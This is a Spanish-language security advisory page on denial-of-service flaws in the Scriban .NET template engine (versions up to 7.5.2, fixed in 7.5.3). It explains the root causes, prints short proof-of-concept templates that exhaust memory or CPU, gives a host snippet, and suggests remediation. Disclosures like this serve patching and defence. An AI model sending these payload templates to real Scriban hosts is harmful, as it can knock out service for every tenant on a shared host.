GHSA-95W2-9MJQ-6C74
Agotamiento de memoria y CPU con límites predeterminados: los builtins de cadenas omiten la protección de asignación de LimitToString, y la comparación de arrays, la multiplicación de BigInteger y la recursión de funciones escapan de LoopLimit y CancellationToken
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-95W2-9MJQ-6C74 divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche 7.5.3 | Scriban · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Severidad: Alta — CVSS 3.1 7.5 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- AV:N / PR:N / UI:N / AC:L: una plantilla de menos de 100 caracteres, `TemplateContext` predeterminado y nada expuesto por el host.
- A:H: asignaciones de 1–21 GB (terminación por falta de memoria en un contenedor, saturación del recolector de basura para todos los inquilinos alojados en el mismo proceso), y sentencias individuales que se ejecutan durante horas e ignoran el `CancellationToken` que la documentación presenta como el control de tiempo de CPU.
- La puntuación coincide con la de los avisos anteriores de esta familia (GHSA-c875-h985-hvrc, GHSA-v66j-x4hw-fv9g, GHSA-89cf-6hmv-8rxm).
Paquetes: NuGet `Scriban`, `Scriban.Signed`
Versiones afectadas: <= 7.5.2 (verificado en 7.5.1 = master `eb8d441`). No se comprobaron versiones anteriores.
Versión corregida: 7.5.3
Descripción
La documentación del entorno de ejecución seguro indica que `LimitToString` también lo usan las “protecciones de asignación de las operaciones que producen cadenas … Las protecciones de asignación en los builtins y en la multiplicación de cadenas lanzan excepciones en cualquier caso”. Además, indica que `LoopLimit` cubre el “trabajo interno con arrays/rangos” y que `CancellationToken` permite cancelar el renderizado. En realidad, solo `string.append/prepend/replace/replace_first/pad_left/pad_right`, `array.join` y el operador `*` de cadenas tienen una protección. Las rutas siguientes no la tienen.
Memoria
| Builtin | Causa raíz | Plantilla (contexto abajo) | Observado (pico de WS de referencia: 33 MB) |
|---|---|---|---|
| `math.format`, `object.format` | El especificador de precisión de .NET se pasa sin validar (`Functions/MathFunctions.cs` ~L188, `ObjectFunctions.cs` ~L183) | `{{ x = 1.5 \| math.format 'F999999999'; x \| string.size }}` | `1000000001`, pico de WS de 5897 MB en 1,1 s; `'D999999999'` → 1940 MB |
| `regex.replace` | Sin ninguna protección (`Functions/RegexFunctions.cs` ~L157) | `{{ s = 'a' * 1000; r = 'b' * 500000; x = regex.replace s 'a' r; x \| string.size }}` | `500000000`, pico de WS de 991 MB |
| `regex.replace` con `$0` | Igual que el anterior | `{{ s = 'a' * 1000000; r = '$0' * 300000; x = regex.replace s '.' r; x \| string.size }}` | Pico de WS de 21344 MB antes de que `RegexTimeOut` se activara a los 19,5 s |
| `string.escape` | Duplica `\`, sin protección (`StringFunctions.cs` ~L53) | Ver más abajo | `512000000`, pico de WS de 2727 MB, 1,6 s |
| `regex.escape` | Misma duplicación (`RegexFunctions.cs` ~L44) | Ver más abajo, con `regex.escape` | `512000000`, pico de WS de 3934 MB, 10 s |
| `string.replace` | La protección se ejecuta después de construir el resultado (`StringFunctions.cs` ~L566) | `{{ s = 'a' * 1000; r = 'b' * 500000; x = s \| string.replace 'a' r; 'done' }}` | Lanza “exceeds LimitToString”, pero solo después de un pico de WS de 989 MB |
| `date.to_string` | Sin protección (`DateTimeFunctions.cs` ~L545-575) | `{{ x = date.now \| date.to_string ('%c' * 300000); x \| string.size }}` | 7.200.000 caracteres (~7 veces LimitToString), 68 MB; el consumo está acotado |
{{ s = "\\" * 1000000
for i in 1..9
s = s | string.escape
end
s | string.size }}Las variantes con crecimiento en bucle también superan el límite: `{{ s = 'a'; for i in 1..25; s = s | regex.replace 'a' 'aa'; end; s | string.size }}` → `33554432` (el mismo bucle con `string.replace` sí lanza la excepción correctamente).
Relacionado y acotado: `string.split` y `regex.split` materializan hasta ~LimitToString elementos por llamada sin contabilizarlos en `LoopLimit` (`{{ s = 'a,' * 500000; s | string.split ',' | array.size }}` → `500000`, 61 MB). Las iteraciones posteriores sí están limitadas, por lo que se incluye solo para completar.
CPU (no detenido por LoopLimit ni por CancellationToken)
- La comparación de arrays con estructura compartida es exponencial. `ScriptArray.CompareTo` (`src/Scriban/Runtime/ScriptArray.cs` ~L647-653) no llama a `StepLoop` ni a `CheckAbort`. Los arrays construidos con elementos compartidos requieren trabajo lineal para construirse, pero 2^profundidad para compararse:
- **La operación `*` de BigInteger no tiene límite de magnitud.** `<<` y `>>` están limitados por `MaxBigIntegerShift` (1M de bits) y `^` usa `ModPow` con un módulo de 2^1M, pero la multiplicación (`Syntax/Expressions/ScriptBinaryExpression.cs` ~L822-823, `CalculateBigIntegerNoFit`; la multiplicación long×long llega allí por ~L799) no tiene límite, por lo que las elevaciones al cuadrado repetidas eluden la protección de crecimiento existente:
- Recursión exponencial de funciones de usuario. Las llamadas solo cuentan para `RecursiveLimit` (profundidad; `TemplateContext.cs` ~L1105), no para `LoopLimit`:
También relevante (reportado por separado): `html.strip` (`HtmlFunctions.cs` ~L25) hace retroceso exponencial con `'<' + '=a' * 22` (~10 s hasta que se activa `RegexTimeOut`, por llamada, repetible hasta `LoopLimit` veces). Es el patrón del issue #406, cerrado como “no se corregirá” con una nota en la documentación. Se incluye aquí solo porque se multiplica con `LoopLimit` bajo la configuración predeterminada.
Prueba de concepto
Host para todas las plantillas anteriores (valores predeterminados, nada expuesto):
using Scriban;
using Scriban.Runtime;
var ctx = new TemplateContext();
ctx.PushGlobal(new ScriptObject());
// para las ejecuciones con cancelación: ctx.CancellationToken = new CancellationTokenSource(2000).Token;
var result = Template.Parse(text).Render(ctx);PoC mínima de memoria (menos de 60 caracteres, ~6 GB): `{{ x = 1.5 | math.format 'F999999999'; x | string.size }}`
PoC mínima de CPU (no cancelable): `{{ a = [1]; b = [1]; for i in 1..40; a = [a, a]; b = [b, b]; end; a == b }}`
Medido en .NET 10.0.13, Windows x64, cada caso en su propio proceso.
Impacto
Una sola plantilla pequeña de un autor no confiable agota la memoria del host o mantiene ocupado un núcleo de CPU de forma indefinida, con los límites predeterminados e incluso con la mitigación documentada de `CancellationToken` activa. En hosts compartidos o multiinquilino, esto degrada o interrumpe el servicio para todos los usuarios.
Remediación sugerida
- Verificaciones del tamaño antes de asignar en cada builtin que produzca cadenas, lanzando el error existente “exceeds LimitToString” *antes* de asignar memoria: dígitos de precisión para `math.format`/`object.format`; un `MatchEvaluator` que lleve la cuenta de la longitud para `regex.replace` (cubre la expansión de `$0` y de grupos); `input.Length * 2` para `regex.escape`; un recuento previo de la longitud escapada para `string.escape`; número de coincidencias × diferencia de longitud para `string.replace` (mover la verificación existente antes de la construcción); longitud acumulada en `date.to_string`. Una verificación genérica de la longitud posterior a la llamada sobre los resultados de tipo `string` de los builtins detectaría los casos futuros, pero no los picos de asignación previos.
- Contabilización de pasos: llamar a `StepLoop`/`CheckAbort` por elemento en `ScriptArray.CompareTo`; limitar los resultados de `*` (y de `+`/`-`) de BigInteger con la misma cota que el desplazamiento y la potencia; contabilizar las llamadas a funciones en el presupuesto de bucles (o documentar que se requiere un `CancellationToken` para plantillas no confiables); verificar el token periódicamente durante la evaluación de expresiones, no solo entre sentencias.
- Opcionalmente, contabilizar los elementos resultantes de `string.split`/`regex.split` en `LoopLimit`.
---
🤖 Generado con Claude Code https://claude.com/claude-code
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
nugetScriban |
Corregida | 7.5.3 | 0 d | 7.6.1 no afectada |
nugetScriban.Signed |
Corregida | 7.5.3 | 0 d | 7.6.1 no afectada |
7.5.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/scriban/scriban/security/advisories/GHSA-95w2-9mjq-6c74Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
